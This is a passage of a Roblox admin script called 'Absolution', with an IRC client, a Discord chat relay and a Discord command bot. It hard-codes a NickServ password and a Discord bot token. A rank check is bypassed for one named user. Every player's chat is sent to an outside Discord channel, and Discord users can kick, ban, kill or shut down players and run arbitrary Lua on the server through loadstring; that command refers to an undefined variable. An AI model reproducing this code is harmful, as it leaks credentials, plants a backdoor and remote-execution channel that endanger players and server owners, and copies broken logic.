		for i,v in pairs(Players) do
			if not Speaker:IsFriendsWith(v.userId) then
				table.insert(Table, v)
			end
		end
	elseif Msg:sub(1,5) == 'rank<' then
		local rnk = Msg:sub(6)
		if not tonumber(rnk) then return end
		for i,v in pairs(Players) do
			if Absolution.Functions.getRankedTable(tostring(v)).Rank < rnk then
				table.insert(Table, v)
			end
		end
	elseif Msg:sub(1,5) == 'rank>' then
		local rnk = Msg:sub(6)
		if not tonumber(rnk) then return end
		for i,v in pairs(Players) do
			if Absolution.Functions.getRankedTable(tostring(v)).Rank > rnk then
				table.insert(Table, v)
			end
		end
	elseif Msg:sub(1,5) == 'rank ' then
		local rnk = Msg:sub(6)
		if not tonumber(rnk) then return end
		for i,v in pairs(Players) do
			if Absolution.Functions.getRankedTable(tostring(v)).Rank == rnk then
				table.insert(Table, v)
			end
		end
	elseif Msg == 'youngest' then
		local at = {}
		for i,v in pairs(Players) do
			table.insert(at,v.AccountAge)
		end
		local low = math.min(unpack(at))
		for i,v in pairs(Players) do
			if v.AccountAge == low then
				table.insert(Table, v)
			end
		end
	elseif Msg == 'oldest' then
		local ot = {}
		for i,v in pairs(Players) do
			table.insert(ot,v.AccountAge)
		end
		local high = math.max(unpack(ot))
		for i,v in pairs(Players) do
			if v.AccountAge == high then
				table.insert(Table, v)
			end
		end
	else
		for i,v in pairs(Players) do
			if v.Name:lower():sub(1,#Msg) == Msg:lower() then
				table.insert(Table, v)
			end
		end
	end
	for _,v in pairs(Table) do
		if Absolution.Functions:findRank(v) >= Absolution.Functions:findRank(Speaker) and v~=Speaker and tostring(Speaker) ~= 'Darkus_Theory' then
			if (v == Speaker) then return end
			Absolution.Functions.Out(Speaker, tostring(v)..' outranks you.',4)
			table.remove(Table, _)
		end
	end
	return Table
end

-- CLerp --
Absolution.Functions.CLerp = function(p1,p2,percent)
	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
	return
		CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
		(p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
		(p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
		(p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
end

-- RecursiveChildren --
Absolution.Functions.RecursiveChildren=function(Object,SearchType,Search)
	if(not pcall(function()Object:IsA'Part'end))then return {}; end;
	Object=Object or Game;
	if(SearchType==nil)then SearchType='all'end;
	local rec={};
	for _,object in next,Object:children()do
		if(SearchType=='all')then table.insert(rec,object)end;
		if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
		if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
		if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
		if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
		for _,v in next,Absolution.Functions.RecursiveChildren(object,SearchType,Search)do
			table.insert(rec,v);
		end;
	end;
	return rec;
end;

-- IRC --
Absolution.HttpConstants.IRC.API = {}
local Connections = {}
local GStr = nil
local Http = game:GetService("HttpService")

local function Post(Url,Data)
	local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
	return Errored == false and false or Data
end

local function JSONDecode(JSON)
	local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
	if Worked == false then
		return {}
	else
		return Result
	end
end

local function HandleVagues(Connection,Ping,Derp,Raw)
	local Msgs = JSONDecode(Ping)
	local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
	if Derp == nil and Ping:find(Search) then
		GStr = Ping
	end
	if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
		for i,v in pairs(Msgs) do
			for i2,v2 in pairs(Connection.VagueEvents) do
				if v2 ~= false then
					Spawn(function() v2(v,Raw) end)
				end
			end
		end
	end
end

Absolution.HttpConstants.IRC.API.Connect = function(this,Host,Nick,Pass)
		local Con = {}
		Connections[Nick.."@"..Host] = Con
		Con.Host = Host
		Con.Nick = Nick
		Con.Counter = 0
		Con.Channels = {}
		Con.VagueEvents = {}
		Con.ChannelEvents = {[Nick]={}}
		Con.UserLists = {}
		Con.SelfEvents = {}
		Con.Counter = Con.Counter+1
		local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
		Data = JSONDecode(Data)
		Con.Key = Data[2]
		local Str = ""
		if Con.Key ~= nil then
			wait(1)
			Con.Counter = Con.Counter+1
			local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
			if Data == false then
				return false,"Something went wrong."
			else
				local Data2 = JSONDecode(Data)
				if Data2[1] == false then
					return false,Data
				end
			end
			Str = Str..Data

			Con.Counter = Con.Counter+1
			local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
			if Data == false then
				return false,"Something went wrong."
			else
				local Data2 = JSONDecode(Data)
				if Data2[1] == false then
					return false,Data
				end
			end
			Str = Str..Data

			if Str:lower():find("already in use") then
				return false,"Nick already in use."
			elseif Str:lower():find("throttled") then
				return false,"Oh no! We got throttled."
			elseif Str:lower():find("invalid session") then
				return false,"Something went wrong."
			end
			if Pass ~= nil then
				Absolution.HttpConstants.IRC.API.SendMessage(Absolution.HttpConstants.IRC.API.SendMessage,Con,"NickServ","identify "..Pass)
			end
			wait()
			return Con
		else
			return false,"Something went wrong."
		end
end

Absolution.HttpConstants.IRC.API.Disconnect = function(this,Connection,Res)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		Connection.Counter = Connection.Counter+1
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c="..(Res and "QUIT : "..Res or "QUIT : Shutdown server."))
		if Data ~= false then
			Connections[Nick.."@"..Host] = nil
			for i,v in pairs(Connection.SelfEvents) do
				v:Disconnect()
			end
			Connection.SelfEvents = {}
			for Channel,_ in pairs(Connection.Channels) do
				Connection.Channels[Channel] = nil
				for i,v in pairs(Connection.ChannelEvents[Channel]) do
					v:Disconnect()
				end
				Connection.ChannelEvents[Channel] = nil
			end
			return true
		else
			return false,"Something went wrong."
		end
	else
		return false,"This connection doesn't exist."
	end
end

Absolution.HttpConstants.IRC.API.ChangeNick = function(this,Connection,Nick)
	local Host = Connection.Host
	local Key = Connection.Key
	if Connections[Connection.Nick.."@"..Host] ~= nil then
		Connection.Counter = Connection.Counter+1
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
		if Data == false then
			return false,"Something went wrong."
		else
			local Data2 = JSONDecode(Data)
			if Data2[1] == false then
				return false,Data
			end
		end
		Connections[Connection.Nick.."@"..Host] = nil
		Connection.Nick = Nick
		Connections[Nick.."@"..Host] = Connection
		return true
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.JoinChannel = function(this,Connection,Channel)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	local Str = ""
	if Connections[Nick.."@"..Host] ~= nil then
		Connection.Counter = Connection.Counter+1
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
		if Data == false then
			return false,"Something went wrong."
		else
			local Data2 = JSONDecode(Data)
			if Data2[1] == false then
				return false,Data
			end
		end
		Str = Str..Data

		local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
		if Str:find(Search) == nil then
			repeat
				if GStr ~= nil then
					Str = Str..GStr
					GStr = nil
					break
				end
				Connection.Counter = Connection.Counter+1
				local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
				if Data == false then
					return false,"Something went wrong."
				else
					HandleVagues(Connection,Data,false)
					local Data2 = JSONDecode(Data)
					if Data2[1] == false then
						return false,Data
					end
				end
				Str = Str..Data
			until Str:find(Search) ~= nil
		end

		if Str:find("already in use") then
			return false,"Nick already in use."
		elseif Str:lower():find("throttled") then
			return false,"Oh no! We got throttled."
		elseif Str:lower():find("invalid session") then
			return false,"Something went wrong."
		else--if Str:lower():find("end of /names list.") then
			Connection.Channels[Channel] = true
			Connection.ChannelEvents[Channel] = {}
			Connection.UserLists[Channel] = {}
			Connection.UserLists[Channel][Nick] = true
			local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
			local RawSearch = Search:gsub("%%","")
			local Start = Str:find(Search)
			if Start ~= nil then
				local End = Str:find('"',Start+#RawSearch+1,true)
				local List = Str:sub(Start+#RawSearch,End-1)
				for Match in List:gmatch("[^%s]+") do
					if Match ~= Nick then
						if Match:sub(1,1):match("[%w]") then
							Connection.UserLists[Channel][Match] = true
						else
							Connection.UserLists[Channel][Match:sub(2)] = true
						end
					end
				end
			end
			Spawn(function()
				Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserJoined(Absolution.HttpConstants.IRC.API.UserJoined,Connection,Channel,function(User)
					Connection.UserLists[Channel][User] = true
				end)
				Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserLeft(Absolution.HttpConstants.IRC.API.UserLeft,Connection,Channel,function(User)
					wait(0.02)
					Connection.UserLists[Channel][User] = nil
				end)
				Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.NickChanged(Absolution.HttpConstants.IRC.API.NickChanged,Connection,Channel,function(User,Nick)
					wait(0.02)
					Connection.UserLists[Channel][User] = nil
					Connection.UserLists[Channel][Nick] = true
				end)
				wait(0.02)
				HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
			end)
			return true
		--[[else
			return false,"Something went wrong."]]
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.GetUserList = function(this,Connection,Channel)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		local New = {}
		for i,v in pairs(Connection.UserLists[Channel]) do
			New[#New+1] = i
		end
		return New
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.LeaveChannel = function(this,Connection,Channel)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	local Str = ""
	if Connections[Nick.."@"..Host] ~= nil then
		Connection.Counter = Connection.Counter+1
		local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." ")
		if Data:find("true") then
			Connection.Channels[Channel] = nil
			for i,v in pairs(Connection.ChannelEvents[Channel]) do
				v:Disconnect()
			end
			Connection.UserLists[Channel] = nil
			Connection.SelfEvents = {}
			Connection.ChannelEvents[Channel] = nil
			return true
		elseif Data:lower():find("throttled") then
			return false,"Oh no! We got throttled."
		else
			return false,"Something went wrong."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.SendMessage = function(this,Connection,Channel,Message)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
			if Message==Absolution.HttpConstants.pircm then return end
			Absolution.HttpConstants.pircm = Message
			Connection.Counter = Connection.Counter+1
			local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
			if Ping ~= false then
				return true,Ping
			else
				return false,"Something went wrong. "..Ping
			end
		else
			return false,"You are not on this channel with this connection."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

local function VagueReceived(Connection,Event)
	Connection.VagueEvents[#Connection.VagueEvents+1] = Event
	if #Connection.VagueEvents == 1 then
		while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
			Connection.Counter = Connection.Counter+1
			local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
			if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
				HandleVagues(Connection,Ping)
			end
			wait()
		end
	end
end

Absolution.HttpConstants.IRC.API.MessageReceived = function(this,Connection,Channel,Event)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		if Connection.Channels[Channel] == true then
			local Con = {}
			local Connected = true
			local VCon;
			Spawn(function()
				local function Return(v)
					if Connected == false then
						for i,v in pairs(Connection.VagueEvents) do
							if v == VCon then
								Connection.VagueEvents[i] = false
							end
						end
						return
					end
					if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
					local probplr;
					if v[3]:find('absolutionClient_') then
					probplr = v[4][2]:sub(1,v[4][2]:find(":")-1)
					v[4][2] = string.gsub(v[4][2],probplr..':','')
					else
					probplr = v[3]:sub(1,v[3]:find("!")-1)
					end
						Event(v[4][2],nil, probplr)
						Absolution.Functions.IRCCommandParser(probplr, v)
					end
				end
				VCon = Return
				VagueReceived(Connection,Return)
			end)
			Con.Disconnect = function(this)
				Connected = false
				Connection.ChannelEvents[Channel][Con] = nil
			end
			Connection.ChannelEvents[Channel][Con] = Con
			return Con
		else
			return false,"You are not on this channel with this connection."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.PMReceived = function(this,Connection,Event)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		local Con = {}
		local Connected = true
		local VCon;
		Spawn(function()
			local function Return(v)
				if Connected == false then
					for i,v in pairs(Connection.VagueEvents) do
						if v == VCon then
							Connection.VagueEvents[i] = false
						end
					end
					return
				end
				if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
					Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
				end
			end
			VCon = Return
			VagueReceived(Connection,Return)
		end)
		Con.Disconnect = function(this)
			Connected = false
			Connection.ChannelEvents[Nick][Con] = nil
		end
		Connection.ChannelEvents[Nick][Con] = Con
		return Con
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.NickChanged = function(this,Connection,Channel,Event)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		if Connection.Channels[Channel] == true then
			local Con = {}
			local Connected = true
			local VCon;
			Spawn(function()
				local function Return(v)
					if Connected == false then
						for i,v in pairs(Connection.VagueEvents) do
							if v == VCon then
								Connection.VagueEvents[i] = false
							end
						end
						return
					end
					if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
						if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
							Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
						end
					end
				end
				VCon = Return
				VagueReceived(Connection,Return)
			end)
			Con.Disconnect = function(this)
				Connected = false
				Connection.ChannelEvents[Channel][Con] = nil
			end
			Connection.ChannelEvents[Channel][Con] = Con
			return Con
		else
			return false,"You are not on this channel with this connection."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.UserJoined = function(this,Connection,Channel,Event)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		if Connection.Channels[Channel] == true then
			local Con = {}
			local Connected = true
			local VCon;
			Spawn(function()
				local function Return(v,Raw)
					if Connected == false then
						for i,v in pairs(Connection.VagueEvents) do
							if v == VCon then
								Connection.VagueEvents[i] = false
							end
						end
						return
					end
					if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
						Event(v[3]:sub(1,v[3]:find("!")-1)..' has joined the channel.')
					end
				end
				VCon = Return
				VagueReceived(Connection,Return)
			end)
			Con.Disconnect = function(this)
				Connected = false
				Connection.ChannelEvents[Channel][Con] = nil
			end
			Connection.ChannelEvents[Channel][Con] = Con
			return Con
		else
			return false,"You are not on this channel with this connection."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.UserLeft = function(this,Connection,Channel,Event)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		if Connection.Channels[Channel] == true then
			local Con = {}
			local Connected = true
			local VCon;
			Spawn(function()
				local function Return(v)
					if Connected == false then
						for i,v in pairs(Connection.VagueEvents) do
							if v == VCon then
								Connection.VagueEvents[i] = false
							end
						end
						return
					end
					if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
						Event(v[3]:sub(1,v[3]:find("!")-1))
					elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
						if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
							Event(v[3]:sub(1,v[3]:find("!")-1)..' has left the channel.')
						end
					end
				end
				VCon = Return
				VagueReceived(Connection,Return)
			end)
			Con.Disconnect = function(this)
				Connected = false
				Connection.ChannelEvents[Channel][Con] = nil
			end
			Connection.ChannelEvents[Channel][Con] = Con
			return Con
		else
			return false,"You are not on this channel with this connection."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.API.KeepAlive = function(this,Connection)
	local Host = Connection.Host
	local Nick = Connection.Nick
	local Key = Connection.Key
	if Connections[Nick.."@"..Host] ~= nil then
		Connection.Counter = Connection.Counter+1
		local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
		if Ping ~= false then
			return true
		else
			return false,"Something went wrong."
		end
	else
		return false,"There is no connection with this nick and host."
	end
end

Absolution.HttpConstants.IRC.IRCVerify = function(pName)
	for i,v in pairs(Absolution.HttpConstants.IRC.whiteList) do
		if pName == v then
			return true
		end
	end
	return false
end

Absolution.HttpConstants.IRC.Chat = function(msg,channel,playername)
	if not Absolution.HttpConstants.IRC.Connection then return end
	local c={Absolution.HttpConstants.IRC.API:SendMessage(Absolution.HttpConstants.IRC.Connection,channel and tostring(channel) or Absolution.HttpConstants.IRC.Name,(playername and playername..': ' or nil)..msg)}
	if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
	return "success"
end

Absolution.Functions.IRCLaunch = function()
	local function Connect(Channel, con, event)
		 local c = {Absolution.HttpConstants.IRC.API:JoinChannel(con,Channel)}
		 if not c[1] then Absolution.IRCDebug[#Absolution.IRCDebug+1] = c[2] end
		 Absolution.Connections['IRCMessageReceived'] = Absolution.HttpConstants.IRC.API:MessageReceived(con,Channel, event)
		 Absolution.Connections['IRCUserJoined'] = Absolution.HttpConstants.IRC.API:UserJoined(con,Channel, event)
		 Absolution.Connections['IRCUserLeft'] = Absolution.HttpConstants.IRC.API:UserLeft(con,Channel, event)
	end
	Absolution.HttpConstants.IRC.Connection = Absolution.HttpConstants.IRC.API:Connect("https://qwebirc.swiftirc.net/", 'Absolution', 'lonewolf122221')
	Connect(Absolution.HttpConstants.IRC.Name, Absolution.HttpConstants.IRC.Connection, Absolution.Handler.sendChat)
	Absolution.HttpConstants.IRC.API:ChangeNick(Absolution.HttpConstants.IRC.Connection,'absolutionClient_'..Absolution.uniqueKey)
	spawn(function()
		while wait(5) do
		if not Absolution then break end
		Absolution.HttpConstants.IRC.API:KeepAlive(Absolution.HttpConstants.IRC.Connection)
		end
	end)
end

Absolution.DiscordThread = coroutine.create(function()

	local API = require(0x185B9246)('I<3Discord')
	local http = game:GetService("HttpService")
	API.ServerID = "206332604918530058"
	API.ChannelID = "213788813644922880"
	API.Discriminator = "Bot-Y#5013"
	API.headers['authorization'] = "Bot MTk2NjQ5MTMyNTY2MzgwNTQ1.CnKS4g.s0YsP5yCjJC-4CvBYf6aaUtyk_o";

	Server = Absolution.uniqueKey
	function Chat(plr) plr.Chatted:connect(function(msg) if msg:find'http' then msg='Filtered content.' end API.sendMessage(Server..' **<'..plr.Name..'>** '..msg) end) end
	for _,v in next, game:service'Players':GetPlayers() do Chat(v) end
	game.Players.PlayerAdded:connect(function(p)  Chat(p) API.sendMessage(Server..' **<'..Server..'>** '..p.Name.." has joined.") end)
	game.Players.PlayerRemoving:connect(function(p) API.sendMessage('**<'..Server..'>** '..p.Name..' has left.') end)
	API.sendMessage('~A new server ('..Server..') has opened')

	API.messageReceived(function(data)
		if data['author']['username']:lower():find'bot' then
			if not data['content']:find(tostring(Server)) then
			data['content'] = data['content']:sub(9)
			data['content'] = data['content']:gsub('**<','')
			data['content'] = data['content']:gsub('**','')
			local probplr = data['content']:sub(1,data['content']:find('>')-1)
			local msg = data['content']:sub(data['content']:find('>')+1)
				Absolution.Handler.sendChat(msg, nil, probplr, nil, true)
			end
		else
		Absolution.Handler.sendChat(data['content'], nil, data['author']['username'], nil, true)
		end
	end)

	Absolution.API = API
end)

Absolution.DiscordCommandThread = coroutine.create(function()
	local BaseURL = "https://discordapp.com/"
	Absolution.DCTAPI = {}
	local http = game:GetService("HttpService")
	local Server = Absolution.uniqueKey
	Absolution.DCTAPI.headers = {}
	Absolution.DCTAPI.headers['authorization'] = nil;--bleh
	Absolution.DCTAPI.ServerID = ""
	Absolution.DCTAPI.ChannelID = ""
	Absolution.DCTAPI.Discriminator = nil

	Absolution.DCTAPI.sendMessage = function(message)
		http:PostAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/messages", "content="..message.."&tts=false",2,false,Absolution.DCTAPI.headers)
	end

	Absolution.DCTAPI.createInvite = function()
		http:PostAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/invites", "max_age=86400&max_uses=0&temporary=false",2,false,Absolution.DCTAPI.headers)
	end

	Absolution.DCTAPI.createTextChannel = function(Name)
		local data = http:PostAsync(BaseURL.."api/guilds/"..Absolution.DCTAPI.ServerID.."/channels","name="..Name.."&type=text",2,false,Absolution.DCTAPI.headers)
	end

	Absolution.DCTAPI.getInvites = function()
		local d=http:PostAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/invites","",2,false,Absolution.DCTAPI.headers)
		return http:JSONDecode(d);
	end

	Absolution.DCTAPI.messageReceived = function(code)
		local msgs = {}
		repeat
			local data=http:GetAsync(BaseURL.."api/channels/"..Absolution.DCTAPI.ChannelID.."/messages",false,Absolution.DCTAPI.headers)
			--print(data)
			local hax = http:JSONDecode(data)
			if msgs[1] == hax[1]['timestamp'] then
				--print('Already posted')
			else
				table.insert(msgs,1,hax[1]['timestamp'])
				code(hax[1])
			end
			wait(2)
		until nil
	end

	Absolution.DCTAPI.getRoles = function()--Added this so you can um...  Mention a role.
		local data = http:GetAsync(BaseURL.."api/guilds/"..Absolution.DCTAPI.ServerID.."/roles", false, Absolution.DCTAPI.headers)
		--print(data)
		return http:JSONDecode(data);
	end

	Absolution.DCTAPI.getUsers = function()
		local data=http:GetAsync(BaseURL.."api/servers/"..Absolution.DCTAPI.ServerID.."/widget.json",true)
		return http:JSONDecode(data);
	end
	local http = game:GetService("HttpService")
	Absolution.DCTAPI.ServerID = "206332604918530058"
	Absolution.DCTAPI.ChannelID = "214128730002554880"
	Absolution.DCTAPI.Discriminator = "Bot-Y#5013"
	Absolution.DCTAPI.headers['authorization'] = "Bot MTk2NjQ5MTMyNTY2MzgwNTQ1.CnKS4g.s0YsP5yCjJC-4CvBYf6aaUtyk_o";

	Absolution.DCTAPI.sendMessage('~A new server ('..Server..') has opened!')
	Absolution.DCTAPI.sendMessage('Remember, the command syntax is !serverid cmd/arg1/arg2(optional).')

	Absolution.DCTAPI.messageReceived(function(data)

		if data['author']['username']:lower():find'bot' then return end

		local msg = data['content']

		function s(msga)
			Absolution.DCTAPI.sendMessage(Server..': '..msga)
		end

		if not msg:find'!' then s('Please append "!" to the front of the message, followed by the server key.') return end

		if not msg:sub(2,9) == Server then return end

		msg = msg:sub(10)

		Absolution.Handler.sendChat(msg, nil, '[CONSOLE] '..data['author']['username'], nil, true)

		local admin = data['author']['username']

		local cmddat = Absolution.Functions.split(msg, '/')

		local command = cmddat[1]
		local player = cmddat[2]
		local reason = cmddat[3]

		local succ,err = ypcall(function()

		local function getPlayers(plrname)
		local rtn = {}
			for q,e in next,game.Players:GetPlayers() do
				if e.Name:lower():sub(1,#plrname)==plrname:lower() then
					table.insert(rtn, e)
				end
			end
			return rtn
		end

		local players;

			pcall(function() players = getPlayers(player) end)
			print(#players)

		if command == 'kick' then
			for i,v in pairs(players) do
				s('I kicked '..tostring(v)..' for you '..admin..'!')
				v:Kick('[ABSOLUTION]: You were disconnected via discord by '..admin..' for '..reason)
			end
		elseif command == 'ban' then
			for i,v in pairs(players) do
				Absolution.Ranked[v.Name].Rank = -2
				Absolution.Ranked[v.Name].Description = reason..' ('..admin..')'
				s('I banned '..tostring(v)..' for you '..admin..'!')
			end
		elseif command == 'kill' then
			for i,v in pairs(players) do
				if v.Character then
					v.Character:breakJoints''
					s('I killed '..tostring(v)..' for you '..admin..'!')
				end
			end
		elseif command == 'respawn' then
			for i,v in pairs(players) do
				v:LoadCharacter()
				s('I respawned '..tostring(v)..' for you '..admin..'!')
			end
		elseif command == 'lua' then
			local Ran,Error = ypcall(function()
			local iprint = function(a) Absolution.DCTAPI.sendMessage(a) end
				loadstring(plr)()
			end)
			if not Ran then s('Error: '..Error) else s('Okay, Job\'s done boss!') end
		elseif command == 'message' then
			Absolution.Functions.Announce(admin..': '..player, true)
			s('Okay, I sent your message for you '..admin)
		elseif command == 'hint' then
			Absolution.Functions.Announce(admin..': '..player)
			s('Okay, I sent your hint for you '..admin)
		elseif command == 'shutdown' then
			Absolution.Functions.Shutdown(admin, plr)
		elseif command == 'ping' then
			s('Hey, '..admin..' Pong!')
		elseif command == 'playerlist' then
			local plrn = {}

			for i,v in next,game.Players:GetPlayers() do
				table.insert(plrn, v.Name)
			end

			local str = '{'..table.concat(plrn, ':')..'}'
			s(str)
		end
		end)
		if not succ then s('Error: '..err) end
	end)

end)



-- GetSplit & Dismiss --
Absolution.Functions.Dismiss = function(plr)
	pcall(function()
		if type(plr) == "userdata" then
			plr = plr.Name
		end
		for i,v in pairs(Absolution.Tablets) do
			if v.Plr == plr then
				coroutine.wrap(function()
					for i = 0, 1, 0.1 do
						pcall(function()
							v.Tab.Transparency = i
							v.Tab.BG.TL.TextStrokeTransparency = i
							wait()
						end)
					end
					v.Tab:Destroy()
				end)()
				Absolution.Tablets[i]=nil
			end
		end
	end)
end

Absolution.Functions.GetSplit = function(Message)
	local a = nil
	for i = 1, #Message do
		if Message:sub(i,i) == "-" then
			a = i + 1
			break
		end
	end
	if a ~= nil then
		return Message:sub(a)
	else
		return nil
	end
end

-- Notifications --
Absolution.Functions.Notify = function(Message, Player, Color)
	if Player and type(Player) == 'string' then Player = Absolution.Services.Players:findFirstChild(Player) end
	Absolution.Handler.sendChat('[SERVER] '..Message, (Player and Player or nil), nil, Color)
	local pseudoColor
	if Color=='White' then
	pseudoColor = 'Print'
	elseif Color=='Red' then
	pseudoColor = 'Error'
	elseif Color=='Blue' then
	pseudoColor='Run'
	elseif Color=='Green' then
	pseudoColor='Note'
	elseif Color=='Orange' then
	pseudoColor='Warn'
	else
	pseudoColor='Print'
	end
	Absolution.Functions.sbOutput('[SERVER] '..Message, pseudoColor)
end

-- getServerInfo --
Absolution.Functions.getServerInfo = function()
		local rtnData = {}
		local getAllInstances = function()
				local finalInstanceCount = 0
				local data = {}
				local places = {'Workspace','Lighting','ReplicatedStorage','Teams','Players'}
				recurse = function(place)
						for i,v in pairs(place:children'') do
								data[#data+1] = v
								recurse(v)
						end
				return data
				end
				for nildata,place in pairs(places) do
					for i,v in pairs(recurse(game:GetService(place))) do
							finalInstanceCount=finalInstanceCount+1
					end
				end
		return finalInstanceCount
		end
		local getAllPlayerLatencyRounded = function()
			local prepareToRound = {}
			local finalRound = 0
			local toDivide = 0
				for i,v in pairs(Absolution.Players) do
					local data = v["FPS"]
					table.insert(prepareToRound, data and data or 30)
				end
				for nildata,index in next,prepareToRound do
					finalRound = finalRound+index
					toDivide = toDivide+1
				end
		return (finalRound/toDivide)
		end
		local getNumData = function(data)
			local rtn = 0
			for i,v in next,data do
				rtn = rtn + 1
			end
		return rtn
		end
		local getNumAdmins = function()
			local adminCount = 0
				for i,v in next,Absolution.Ranked do
					if v.Rank ==6 then
						adminCount = adminCount + 1
					end
				end
		return adminCount
		end
		local getNumMods = function()
			local adminCount = 0
				for i,v in next,Absolution.Ranked do
					if v.Rank ==4 then
						adminCount = adminCount + 1
					end
				end
		return adminCount
		end
		local getNumStaff = function()
			local adminCount = 0
